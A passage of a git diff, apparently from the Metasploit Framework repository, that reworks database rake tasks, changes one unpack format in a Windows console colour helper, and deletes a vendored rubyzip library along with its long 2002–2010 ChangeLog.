Metasploit::Engine.instance.paths['db/migrate'].to_a since using - # Metasploit::Engine requires rails. - MetasploitDataModels.root.join('db', 'migrate').to_s - ] - end - - desc 'Load the seed data from db/seeds.rb' - task :seed do - db_namespace['abort_if_pending_migrations'].invoke - seeds_pathname = Metasploit::Framework.root.join('db', 'seeds.rb') - - if seeds_pathname.exist? - load(seeds_pathname) - end - end -end - diff --git a/lib/tasks/databases.rake b/lib/tasks/databases.rake new file mode 100644 index 0000000000..f75cd735ee --- /dev/null +++ b/lib/tasks/databases.rake @@ -0,0 +1,7 @@ +namespace :db do + # Add onto the task so that after adding Rails.application.paths['db/migrate'] + task :load_config do + # It's important to call to_a or the paths will just be relative and not realpaths + ActiveRecord::Migrator.migrations_paths += Metasploit::Credential::Engine.instance.paths['db/migrate'].to_a + end +end \ No newline at end of file diff --git a/lib/tasks/rails.rake b/lib/tasks/rails.rake deleted file mode 100644 index bcb90975aa..0000000000 --- a/lib/tasks/rails.rake +++ /dev/null @@ -1,21 +0,0 @@ -# Rake tasks added for compatibility with rake tasks that depend on a Rails -# environment, such as those in activerecord - -# Would normally load config/environment.rb of the rails application. -# -# @see https://github.com/rails/rails/blob/e2908356672d4459ada0064f773efd820efda822/railties/lib/rails/application.rb#L190 -task :environment do - # ensures that Mdm models are available for migrations which use the models - MetasploitDataModels.require_models - - # avoids the need for Rails.root in db:schema:dump - schema_pathname = Metasploit::Framework.root.join('db', 'schema.rb') - ENV['SCHEMA'] = schema_pathname.to_s -end - -# This would normally default RAILS_ENV to development if ENV['RAILS_ENV'] is -# not set -# -# @see https://github.com/rails/rails/blob/1a275730b290c1f06d4e8df680d22ae1b41ab585/railties/lib/rails/tasks/misc.rake#L3 -task :rails_env do -end diff --git a/lib/windows_console_color_support.rb b/lib/windows_console_color_support.rb index a2d23d6dad..2b626cc078 100644 --- a/lib/windows_console_color_support.rb +++ b/lib/windows_console_color_support.rb @@ -36,7 +36,7 @@ class WindowsConsoleColorSupport def setcolor(color) csbi = 0.chr * 24 @GetConsoleScreenBufferInfo.Call(@hConsoleHandle,csbi) - wAttr = csbi[8,2].unpack('S').first + wAttr = csbi[8,2].unpack('v').first case color when 0 # reset diff --git a/lib/zip.rb b/lib/zip.rb deleted file mode 100644 index 5a89853ce1..0000000000 --- a/lib/zip.rb +++ /dev/null @@ -1 +0,0 @@ -require 'zip/zip' diff --git a/lib/zip/ChangeLog b/lib/zip/ChangeLog deleted file mode 100644 index 63bf7858f0..0000000000 --- a/lib/zip/ChangeLog +++ /dev/null @@ -1,1146 +0,0 @@ -2010-01-01 13:43 thomas - - * NEWS, lib/zip/zip.rb, test/ziptest.rb: Changed - ZipOutputStream.put_next_entry to make it possible to specifiy - comments, extra field and compression method. - -2009-12-31 16:25 thomas - - * Rakefile: Updated publish method. - -2009-11-27 22:59 thomas - - * NEWS, lib/zip/zip.rb: Bumped micro number and updated NEWS file. - - * lib/zip/zip.rb: Provide convenience methods for retrieving name - and comments in character encoding of choice (pending ruby - character String class). - -2009-04-05 12:28 thomas - - * install.rb, lib/zip/zip.rb, samples/example_filesystem.rb, - test/zipfilesystemtest.rb, test/ziptest.rb: Applied ruby-1.9 - compatibility patch from Yuya Nishida. - -2008-08-26 20:49 thomas - - * lib/zip/zip.rb: Rewrote fix for rename bug. - -2008-08-24 14:34 thomas - - * lib/zip/zip.rb, test/ziptest.rb: Refixed rename to avoid - decompressing and recompressing entry. - -2008-08-24 11:43 drylight - - * NEWS, README, Rakefile, lib/zip/zip.rb: Update version number and - minor release note changes. - - * NEWS, README, lib/zip/zip.rb, test/ziptest.rb: Fixed: Renaming an - entry failed if the entry's new name was a different length than - its old name. - -2006-12-24 11:42 thomas - - * lib/zip/: ioextras.rb, zip.rb: Added IOExtras.copy_stream_n and - used it to avoid loading large entries into memory when copying - from one stream to another. - -2006-12-17 15:03 thomas - - * lib/zip/zip.rb: Bug 1614537 Version needed to extract set. - -2006-11-21 09:12 thomas - - * lib/zip/zipfilesystem.rb, test/zipfilesystemtest.rb: Bug 1600222 - Fixed it so ZipFsFile#open accepts and ignores b(inary) option. - -2006-09-05 22:53 thomas - - * test/zipfilesystemtest.rb: Avoid warnings while running tests. - -2006-08-04 19:56 technorama - - * lib/zip/zip.rb: bugfix: :link -> :symlink - -2006-07-01 10:04 thomas - - * Rakefile: Don't autorequire zip/zip - autorequire is deprecated. - -2006-06-30 09:28 thomas - - * Rakefile: [no log message] - - * NEWS, lib/zip/zip.rb: Bumped version number and reformatted NEWS - a bit. - -2006-06-29 22:49 technorama - - * lib/zip/zip.rb, NEWS: documentation additions - -2006-04-30 06:25 technorama - - * TODO, lib/zip/zip.rb, test/ziptest.rb: add documentation and test - for new ZipFile::extract - - * lib/zip/zip.rb: add some of the API suggestions from sf.net - #1281314 - - * lib/zip/zip.rb: apply patch for bug #1446926 - - * lib/zip/zip.rb: apply patch for bug #1459902 - -2006-04-26 17:17 technorama - - * lib/zip/zip.rb: add ZipFile @restore_*, documentation update - -2006-04-07 21:13 technorama - - * test/: gentestfiles.rb, zipfilesystemtest.rb, ziptest.rb: - additional tests - -2006-03-28 04:11 technorama - - * lib/zip/zip.rb: start of unix_uid, unix_gid, restore_* support - - * lib/zip/zip.rb: follow_symlinks is now optional - - * lib/zip/zip.rb: add eof? methods - - * test/ziptest.rb: eof? tests - -2006-02-26 09:57 technorama - - * README: add to authors - - * TODO: [no log message] - -2006-02-25 12:04 thomas - - * lib/zip/zip.rb, test/ziptest.rb: Did away with ZipStreamableFile. - -2006-02-23 08:03 technorama - - * lib/zip/zip.rb: unix file permissions. symlink support. rework - ZipEntry and delegate classes. reduce memory usage during - decompression. - -2006-02-22 23:44 technorama - - * lib/zip/zipfilesystem.rb: update permissionInt for mkdir - -2006-02-04 10:42 thomas - - * lib/zip/: ioextras.rb, zip.rb: Merged patch from oss-ruby. - -2005-11-19 16:17 thomas - - * lib/zip/zip.rb: [no log message] - -2005-11-08 08:23 thomas - - * lib/zip/ioextras.rb: Accepted patch from oss-ruby - -2005-10-07 09:54 thomas - - * TODO: [no log message] - -2005-09-06 21:19 thomas - - * lib/zip/zip.rb: [no log message] - - * NEWS: [no log message] - - * lib/zip/zip.rb, test/gentestfiles.rb, test/ziptest.rb: Fixed - problem on windows - tempfile has to be set to binmode again when - it is reopened - -2005-09-04 16:45 thomas - - * Rakefile: [no log message] - - * TODO: [no log message] - - * test/ziptest.rb: [no log message] - -2005-09-03 10:27 thomas - - * NEWS: [no log message] - - * TODO, lib/zip/zip.rb: [no log message] - - * lib/zip/ioextras.rb, lib/zip/zip.rb, test/ziptest.rb: Merged - patch from oss-ruby at technorama.net - - * test/ziptest.rb: Added failing test that shows that read and gets - don't mix currently - -2005-08-29 08:50 thomas - - * lib/zip/: ioextras.rb, zip.rb: [no log message] - - * NEWS, lib/zip/zip.rb: [no log message] - - * lib/zip/zip.rb: [no log message] - - * lib/zip/zip.rb: [no log message] - -2005-08-07 14:27 thomas - - * lib/zip/zip.rb, NEWS: [no log message] - -2005-08-06 11:12 thomas - - * lib/zip/: ioextras.rb, zip.rb: [no log message] - -2005-08-03 18:54 thomas - - * lib/zip/zip.rb: Read/write in chunks to preserve memory - -2005-07-02 15:08 thomas - - * lib/zip/zip.rb: Applied received patch concerning FreeBSD 4.5 - issue - -2005-04-03 16:52 thomas - - * samples/.cvsignore: [no log message] - - * samples/: qtzip.rb, zipdialogui.ui: Added a qt example - -2005-03-31 21:58 thomas - - * lib/zip/zip.rb, test/ziptest.rb: [no log message] - - * test/zipfilesystemtest.rb: [no log message] - -2005-03-17 18:17 thomas - - * Rakefile: [no log message] - - * NEWS, README, lib/zip/zip.rb: [no log message] - - * install.rb: Fixed install.rb - -2005-03-03 18:38 thomas - - * Rakefile: [no log message] - -2005-02-27 16:23 thomas - - * lib/zip/ziprequire.rb: Added documentation to ziprequire - - * README, TODO, lib/zip/ziprequire.rb: Added documentation to - ziprequire - - * Rakefile, test/ziptest.rb: [no log message] - -2005-02-19 21:30 thomas - - * lib/zip/ioextras.rb, lib/zip/stdrubyext.rb, - lib/zip/tempfile_bugfixed.rb, lib/zip/zip.rb, - lib/zip/ziprequire.rb, test/ioextrastest.rb, - test/stdrubyexttest.rb, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb: Added more rdoc and - changed the remaining tests to Test::Unit - - * lib/zip/: ioextras.rb, zip.rb: Added documentation to - ZipInputStream and ZipOutputStream - -2005-02-18 10:27 thomas - - * README: [no log message] - -2005-02-17 23:21 thomas - - * README, Rakefile: Added ppackage (publish package) task to - Rakefile - - * README, Rakefile, TODO: Added pdoc (publish doc) task to Rakefile - - * README, Rakefile, TODO, lib/zip/stdrubyext.rb, lib/zip/zip.rb, - lib/zip/zipfilesystem.rb: Added a bunch of documentation - - * test/ziptest.rb: [no log message] - -2005-02-16 20:04 thomas - - * NEWS, README, Rakefile: Improved documentation and added rdoc - task to Rakefile - - * NEWS, Rakefile, lib/zip/zip.rb: [no log message] - - * Rakefile, samples/example.rb, samples/example_filesystem.rb, - samples/gtkRubyzip.rb, samples/write_simple.rb, - samples/zipfind.rb, test/.cvsignore, test/gentestfiles.rb: - Improvements to Rakefile - -2005-02-15 23:35 thomas - - * NEWS, TODO: [no log message] - - * Rakefile, rubyzip.gemspec: Now uses Rake to build gem - - * Rakefile: [no log message] - - * lib/zip/zip.rb, test/.cvsignore, test/ziptest.rb, NEWS: Fixed - compatibility issue with ruby 1.8.2. Migrated test suite to - Test::Unit - - * NEWS, lib/zip/ioextras.rb, lib/zip/stdrubyext.rb, - lib/zip/tempfile_bugfixed.rb, lib/zip/zip.rb, - lib/zip/zipfilesystem.rb, lib/zip/ziprequire.rb, test/.cvsignore, - test/file1.txt, test/file1.txt.deflatedData, test/file2.txt, - test/gentestfiles.rb, test/ioextrastest.rb, - test/notzippedruby.rb, test/rubycode.zip, test/rubycode2.zip, - test/stdrubyexttest.rb, test/testDirectory.bin, - test/zipWithDirs.zip, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb, test/data/.cvsignore, - test/data/file1.txt, test/data/file1.txt.deflatedData, - test/data/file2.txt, test/data/notzippedruby.rb, - test/data/rubycode.zip, test/data/rubycode2.zip, - test/data/testDirectory.bin, test/data/zipWithDirs.zip: Changed - directory structure - -2005-02-13 22:44 thomas - - * Rakefile, TODO: [no log message] - - * rubyzip.gemspec: [no log message] - - * install.rb: Made install.rb independent of the current path - (fixes bug reported by Drew Robinson) - -2004-12-12 11:22 thomas - - * NEWS, TODO, samples/write_simple.rb: Fixed 'version needed to - extract'-field wrong in local headers - -2004-05-02 15:17 thomas - - * rubyzip.gemspec: Added gemspec contributed by Chad Fowler - -2004-04-02 07:25 thomas - - * NEWS: Fix for FreeBSD 4.9 - -2004-03-29 00:28 thomas - - * NEWS: [no log message] - -2004-03-28 17:59 thomas - - * NEWS: [no log message] - -2004-03-27 16:09 thomas - - * test/stdrubyexttest.rb: Patch for stdrubyext.rb from Nobu Nakada - - * test/: ioextrastest.rb, stdrubyexttest.rb: converted some files - to unix line-endings - -2004-03-25 16:34 thomas - - * NEWS, install.rb: Significantly reduced memory footprint when - modifying zip files - -2004-03-16 18:20 thomas - - * install.rb, test/alltests.rb, test/ioextrastest.rb, - test/stdrubyexttest.rb, test/ziptest.rb: IO utility classes moved - to new file ioextras.rb. Tests moved to new file ioextrastest.rb - -2004-02-27 13:21 thomas - - * NEWS: Optimization to avoid decompression and recompression - -2004-01-30 16:17 thomas - - * NEWS: [no log message] - - * README, test/zipfilesystemtest.rb, test/ziptest.rb: Applied - extra-field patch - -2003-12-13 16:57 thomas - - * TODO: [no log message] - -2003-12-10 00:25 thomas - - * test/ziptest.rb: (Temporary) fix to bug reported by Takashi Sano - -2003-08-23 09:42 thomas - - * test/ziptest.rb, NEWS: Fixed ZipFile.get_ouput_stream bug - data - was never written to zip - -2003-08-21 16:05 thomas - - * install.rb: [no log message] - - * alltests.rb, stdrubyexttest.rb, zipfilesystemtest.rb, - ziprequiretest.rb, ziptest.rb, test/alltests.rb, - test/stdrubyexttest.rb, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb: Moved all test ruby - files to test/ - - * NEWS, install.rb, stdrubyext.rb, stdrubyexttest.rb, zip.rb, - zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, - ziprequiretest.rb, ziptest.rb, samples/example.rb, - samples/example_filesystem.rb, samples/gtkRubyzip.rb, - samples/zipfind.rb: Moved all production source files to zip/ so - they are in the same dir as when they are installed - - * NEWS, TODO, alltests.rb: [no log message] - - * filearchive.rb, filearchivetest.rb, fileutils.rb: Removed - filearchive.rb, filearchivetest.rb and fileutils.rb - - * samples/.cvsignore, samples/example_filesystem.rb, zip.rb, - samples/example_filesystem.rb: Added - samples/example_filesystem.rb. Fixed Tempfile creation for - entries created with get_output_stream where entries were in a - subdirectory - - * zip.rb, ziptest.rb: Fixed mkdir bug. ZipFile.mkdir didn't work if - the zipfile doesn't exist already - - * ziptest.rb: [no log message] - - * TODO, zipfilesystemtest.rb: Globbing test placeholder commented - out - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsDir.new - and open - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented DirFsIterator - and tests - -2003-08-20 22:50 thomas - - * NEWS, TODO: [no log message] - - * zipfilesystemtest.rb: [no log message] - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.foreach, ZipFsDir.entries now reimplemented in terms of - it - - * README: [no log message] - - * zipfilesystem.rb, zipfilesystemtest.rb: [no log message] - - * zipfilesystem.rb: All access from ZipFsFile and ZipFsDir to - ZipFile is now routed through ZipFileNameMapper which has the - single responsibility of mapping entry/filenames - - * alltests.rb, stdrubyext.rb, stdrubyexttest.rb: Added - stdrubyexttest.rb and added test test_select_map - - * zipfilesystem.rb: ZipFsDir was in the wrong module. ZipFileSystem - now has a ctor that creates ZipFsDir and ZipFsFile instances, - instead of creating them lazily. It then passes the dir instance - to the file instance and vice versa - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFsFile.open - honours chdir - - * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, - ziptest.rb: Fixed ZipEntry::parent_as_string. Implemented - ZipFsDir.chdir, pwd and entries including test - -2003-08-19 15:44 thomas - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.mkdir - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.delete (and aliases rmdir and unlink) - - * zipfilesystem.rb, zipfilesystemtest.rb: Another dummy - implementation and commented out a test for select() which can be - added later - -2003-08-18 20:40 thomas - - * ziptest.rb: Honoured 1.8.0 Object.to_a deprecation warning - - * zip.rb, ziptest.rb, samples/example.rb, samples/zipfind.rb: - Converted a few more names to ruby underscore style that I missed - with the automated processing the first time around - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: - Implemented Zip::ZipFile.get_output_stream - -2003-08-17 18:28 thomas - - * README, install.rb, stdrubyext.rb, zipfilesystem.rb, - zipfilesystemtest.rb: Updated README with Documentation section. - Updated install.rb. Fixed three tests that failed on 1.8.0. - -2003-08-14 05:40 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Added empty - implementations of atime and ctime - -2003-08-13 17:08 thomas - - * simpledist.rb: Moved simpledist to a separate repository called - 'misc' - - * NEWS: [no log message] - - * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, - ziprequire.rb, ziprequiretest.rb, ziptest.rb, samples/example.rb, - samples/gtkRubyzip.rb, samples/zipfind.rb: Changed all method - names to the ruby convention underscore style - - * alltests.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented - a lot more of the stat methods. Mostly with dummy implementations - that return values that indicate that these features aren't - supported - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented more methods - and tests in zipfilesystem. Mostly empty methods as permissions - and file types other than files and directories are not supported - - * install.rb, stdrubyext.rb, zip.rb, zipfilesystem.rb, - zipfilesystemtest.rb: Addd file stdrubyext.rb and moved the - modifications to std ruby classes to it. Refactored the ZipFsStat - tests and ZipFsStat. Added Module.forwardMessages and used it to - implement the forwarding of calls in ZipFsStat - - * zipfilesystem.rb, zipfilesystemtest.rb: Added - Zip::ZipFsFile::ZipFsStat and started implementing it and its - methods - - * zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: Updated and - added missing copyright notices - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: zipfilesystem.rb - is becoming big and not everyone will want to use that code. - Therefore zip.rb no longer requires it. Instead you must require - zipfilesystem.rb itself if you want to use it - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented dummy - permission test methods - - * TODO, zip.rb, ziptest.rb: Merged from patch from Kristoffer - Lunden. Fixed more 1.8.0 incompatibilites - tests run on 1.8.0 - now - -2003-08-12 19:18 thomas - - * zip.rb: Get rid of 1.8.0 warning - - * ziptest.rb: ruby 1.8.0 compatibility fix - - * NEWS, zip.rb: ruby-zlib 0.6.0 compatibility fix - -2002-12-22 20:12 thomas - - * zip.rb: [no log message] - -2002-09-16 22:11 thomas - - * NEWS: [no log message] - -2002-09-15 17:16 thomas - - * samples/zipfind.rb: [no log message] - - * samples/zipfind.rb: [no log message] - -2002-09-14 22:59 thomas - - * samples/zipfind.rb: Added simple zipfind script - -2002-09-13 23:53 thomas - - * TODO: Added TODO about openmode for zip entries binary/ascii - - * NEWS: ziptest now runs without errors with ruby-1.7.2-4 (Andy's - latest build) - - * zip.rb, ziprequiretest.rb, ziptest.rb: ziptest now runs without - errors with ruby-1.7.2-4 (Andy's latest build) - -2002-09-12 00:20 thomas - - * zipfilesystemtest.rb: Improved ZipFsFile.delete/unlink test - - * test/.cvsignore: [no log message] - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.delete/unlink - -2002-09-11 22:22 thomas - - * alltests.rb: [no log message] - - * NEWS, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Fixed - AbstractInputStream.each_line ignored its aSeparator argument. - Implemented more ZipFsFile methods - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFileSystem is - now a module instead of a class, and is mixed into ZipFile, - instead of being made available as a property fileSystem - -2002-09-10 23:45 thomas - - * NEWS: Updated NEWS file - - * zip.rb: [no log message] - - * NEWS, zip.rb, ziptest.rb: Fix bug: rewind should reset lineno. - Fix bug: Deflater.read uses separate buffer from produceInput - (feeding gets/readline etc) - -2002-09-09 23:48 thomas - - * .cvsignore: [no log message] - -2002-09-09 22:55 uid26649 - - * zip.rb, ziptest.rb: Implemented ZipInputStream.rewind and - AbstractInputStream.lineno. Tests for both - -2002-09-09 20:31 thomas - - * zip.rb, ziptest.rb: ZipInputStream and ZipOutstream (thru their - AbstractInputStream and AbstractOutputStream now lie about being - kind_of?(IO) - -2002-09-08 16:38 thomas - - * zipfilesystemtest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: Moved - String additions from filearchive.rb to zip.rb (and moved tests - along too to ziptest.rb). Added ZipEntry.parentAsString and - ZipEntrySet.parent - - * ziptest.rb: Implemented ZipEntrySetTest.testDup and testCompound - - * TODO, zip.rb, ziptest.rb: Replaced Array with EntrySet for - keeping entries in a zip file. Tagged repository before this - commit, so this change can be rolled back, if it stinks - -2002-09-07 20:21 thomas - - * zip.rb, ziptest.rb: Implemented ZipEntry.<=> - - * ziptest.rb: Removed unused code - -2002-08-11 15:14 thomas - - * zip.rb, ziptest.rb: Made some changes to accomodate ruby 1.7.2 - -2002-07-27 15:25 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsFile.new - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.pipe - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.link - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.symlink - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.readlink, wrapped ZipFileSystem class in Zip module - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.zero? - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented test for - ZipFsFile.directory? - -2002-07-26 23:56 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.socket? - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.join - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.ftype - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.blockdev? - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.size? (slightly different from size) - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.split - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.symlink? - - * alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: - Implemented ZipFsFile.mtime - - * zipfilesystem.rb, zipfilesystemtest.rb: Implement ZipFsFile.file? - - * zip.rb, ziptest.rb: Implemented ZipEntry.file? - - * alltests.rb, filearchive.rb, filearchivetest.rb, zip.rb, - zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, - ziptest.rb: Implemented ZipFileSystem::ZipFsFile.size - - * zipfilesystem.rb, zipfilesystemtest.rb: [no log message] - - * test/zipWithDirs.zip: Changed zipWithDirs.zip so all the entries - in it have unix file endings - - * alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: - Started implementing ZipFileSystem - - * test/zipWithDirs.zip: Added a zip file for testing with a - directory structure - -2002-07-22 21:40 thomas - - * TODO: [no log message] - - * TODO: [no log message] - -2002-07-21 18:20 thomas - - * NEWS: [no log message] - - * TODO: Updated TODO with a refactoring idea for FileArchive - - * filearchive.rb, filearchivetest.rb: Added some FileArchiveAdd - tests and cleaned up some of the FileArchive tests. extract and - add now have individual test fixtures. - - * filearchive.rb, filearchivetest.rb: Added tests for extract - called with regex src arg and Enumerable src arg - - * filearchivetest.rb: Added test for continueOnExistsProc when - extracting from a file archive - -2002-07-20 17:13 thomas - - * TODO, filearchivetest.rb, fileutils.rb, ziptest.rb, - test/.cvsignore: Added (failing) tests for FileArchive.add, added - code for creating test files for FileArchive.add tests. Added - fileutils.rb, which is borrowed from ruby 1.7.2 - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchivetest.rb: Added tests for String extensions - - * alltests.rb, ziprequiretest.rb, ziptest.rb: [no log message] - - * install.rb: [no log message] - - * TODO: Updated TODO - - * filearchive.rb, filearchivetest.rb: All FileArchive.extract tests - run - -2002-07-19 23:11 thomas - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchivetest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb, zip.rb: [no log message] - -2002-07-08 13:41 thomas - - * TODO: [no log message] - -2002-06-11 19:47 thomas - - * filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: [no log - message] - -2002-05-25 00:41 thomas - - * simpledist.rb: Added hackish script for creating dist files - -2002-04-30 21:22 thomas - - * TODO: [no log message] - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb: Improved testing and wrote - some of the skeleton of extract. Still to do: Fix glob, so it - returns a hashmap instead of a list. The map will need to map the - full entry name to the last part of the name (which is only - really interesting for recursively extracted entries, otherwise - it is just the name). Glob.expandPathList should also output - directories with a trailing slash, which is doesn't right now. - - * filearchive.rb, filearchivetest.rb: Implemented the first few - tests for FileArchive - -2002-04-24 22:06 thomas - - * ziprequire.rb, ziprequiretest.rb: Appended copyright message to - ziprequire.rb and ziprequiretest.rb - - * zip.rb: Made ZipEntry tolerate invalid dates - -2002-04-21 00:57 thomas - - * NEWS, TODO, zip.rb, ziptest.rb: Read and write entry modification - date/time correctly - -2002-04-20 02:44 thomas - - * ziprequiretest.rb, test/rubycode2.zip: improved ZipRequireTest - - * ziprequire.rb: Made a warning go away - - * ziprequire.rb, ziprequiretest.rb, test/notzippedruby.rb, - test/rubycode.zip: Fixed a bug in ziprequire. Added - ziprequiretest.rb and test data files - -2002-04-19 22:43 thomas - - * zip.rb, ziptest.rb: Added recursion support to Glob module - -2002-04-18 21:37 thomas - - * NEWS, TODO, zip.rb, ziptest.rb: Added Glob module and GlobTest - unit test suite. This module provides the functionality to expand - a 'glob pattern' given a list of files - Next step is to use this - module in ZipFile - -2002-04-01 22:55 thomas - - * NEWS: [no log message] - - * TODO, zip.rb, ziprequire.rb: Added ziprequire.rb which contains a - proof-of-concept implementation of a require implementation that - can load ruby modules from a zip file. Needs unit tests and - polish. - -2002-03-31 01:13 thomas - - * README: [no log message] - -2002-03-30 16:14 thomas - - * TODO: [no log message] - - * .cvsignore, README, zip.rb: Added rdoc markup (only #:nodoc:all - modifiers) to zip.rb. Made README 'RDoc compliant' - -2002-03-29 23:29 thomas - - * TODO: [no log message] - - * example.rb, samples/.cvsignore, samples/example.rb, - samples/gtkRubyzip.rb: Moved example.rb to samples/. Added - another sample gtkRubyzip.rb - - * NEWS, TODO, TODO: [no log message] - - * .cvsignore, file1.txt, file1.txt.deflatedData, testDirectory.bin, - ziptest.rb, test/.cvsignore, test/file1.txt, - test/file1.txt.deflatedData, test/file2.txt, - test/testDirectory.bin: Added test/ directory and moved the - manually created test data files into it. Changed ziptest.rb so - it runs in test/ directory - - * TODO: [no log message] - - * NEWS, zip.rb, ziptest.rb: Don't decompress and recompress zip - entries when changing zip file - - * zip.rb: Performance optimization: Only write new ZipFile, if it - has been changed. The test suite runs in half the time now. - -2002-03-28 22:12 thomas - - * TODO: [no log message] - -2002-03-23 17:31 thomas - - * TODO: [no log message] - -2002-03-22 22:47 thomas - - * NEWS: [no log message] - - * NEWS, TODO: [no log message] - - * ziptest.rb: Found the tests that didn't use blocks to make sure - input streams are closed as soon as they arent used anymore and - got rid of the GC.start - - * ziptest.rb: All tests run on windows ruby 1.6.6 - - * zip.rb, ziptest.rb: Windows fixes: Fixed ZipFile.initialize which - needed to open zipfile file in binary mode. Added another - workaround for the return value from File.open(name) where name - is the name of a directory - ruby returns different exceptions in - linux, win/cygwin and windows. A number of tests failed because - in windows you cant delete a file that is open. Fixed by changing - ziptest.rb to use ZipInputStream.getInputStream with blocks a few - places. There is a hack in CommanZipFileFixture.setup where the - GC is explicitly invoked. Should be fixed with blocks instead. - The only currently failing test fails because the test data - creation fails to add a comment to 4entry.zip, because echo eats - the remainder of the line including the pipe character and the - following zip -z 4 entry.zip command - -2002-03-21 22:18 thomas - - * NEWS: [no log message] - - * NEWS, README, TODO, install.rb: Added install.rb - - * ziptest.rb: [no log message] - - * NEWS, TODO: [no log message] - - * .cvsignore, TODO, zip.rb, ziptest.rb: Added - test_extractDirectoryExistsAsFileOverwrite and fixed to pass - - * zip.rb, ziptest.rb: Extraction of directory entries is now - supported - -2002-03-20 21:59 thomas - - * NEWS: [no log message] - - * COPYING, README, README.txt: Removed COPYING, renamed README.txt - to README. Updated README - - * example.rb: Fixed example.rb added example that shows zip file - manipulation with Zip::ZipFile - - * .cvsignore: [no log message] - - * TODO, zip.rb, ziptest.rb: Directories can now be added (not - recursively, the directory entry itself. Directories are - recognized by a empty entries with a trailing /. The purpose of - storing them explicitly in the zip file is to be able to store - permission and ownership information - - * TODO, zip.rb, ziptest.rb: zip.rb depended on ftools but it was - only included in ziptest.rb - - * zip.rb, ziptest.rb: ZipError is now a subclass of StandardError - instead of RuntimeError. ZipError now has several subclasses. - -2002-03-19 22:26 thomas - - * TODO: [no log message] - - * TODO, ziptest.rb: Unit test ZipFile.getInputStream with block - - * TODO, zip.rb, ziptest.rb: Unit test for adding new entry with - name that already exists in archive, and fixed to pass test - - * TODO, zip.rb, ziptest.rb: Added unit tests for rename to existing - entry - - * TODO: [no log message] - - * TODO, zip.rb, ziptest.rb: Unit test calling ZipFile.extract with - block - -2002-03-18 21:06 thomas - - * TODO: [no log message] - - * zip.rb, ziptest.rb: ZipFile#commit now reinitializes ZipFile. - - * TODO, zip.rb, ziptest.rb: Refactoring: - - Collapsed ZipEntry and ZipStreamableZipEntry into ZipEntry. - - Collapsed BasicZipFile and ZipFile into ZipFile. - - * zip.rb: Removed method that was never called - -2002-03-17 22:33 thomas - - * TODO: [no log message] - - * ziptest.rb: Run tests with =true as default - - * NEWS, TODO, zip.rb, ziptest.rb: Now runs with -w switch without - warnings - - * .cvsignore: [no log message] - - * zip.rb, ziptest.rb: Down to one failing test - - * zip.rb, ziptest.rb: [no log message] - - * TODO, zip.rb, ziptest.rb: [no log message] - -2002-02-25 19:42 thomas - - * TODO: Added more todos - -2002-02-23 15:51 thomas - - * zip.rb: [no log message] - - * zip.rb, ziptest.rb: [no log message] - - * zip.rb, ziptest.rb: [no log message] - -2002-02-03 18:47 thomas - - * ziptest.rb: [no log message] - -2002-02-02 15:58 thomas - - * example.rb, zip.rb, ziptest.rb: [no log message] - - * .cvsignore: [no log message] - - * example.rb, zip.rb, ziptest.rb: Renamed SimpleZipFile to - BasicZipFile - - * TODO: [no log message] - - * ziptest.rb: More test cases - all of them failing, so now there - are 18 failing test cases. Three more test cases to implement, - then it is time for the production code - -2002-02-01 21:49 thomas - - * ziptest.rb: [no log message] - - * ziptest.rb: Also run SimpleZipFile tests for ZipFile. - - * example.rb, zip.rb, ziptest.rb: ZipFile renamed to SimpleZipFile. - The new ZipFile will have many more methods that are useful for - managing archives. - -2002-01-29 20:30 thomas - - * TODO: [no log message] - -2002-01-26 00:18 thomas - - * NEWS: [no log message] - - * ziptest.rb: In unit test: work around ruby/cygwin weirdness. You - get an 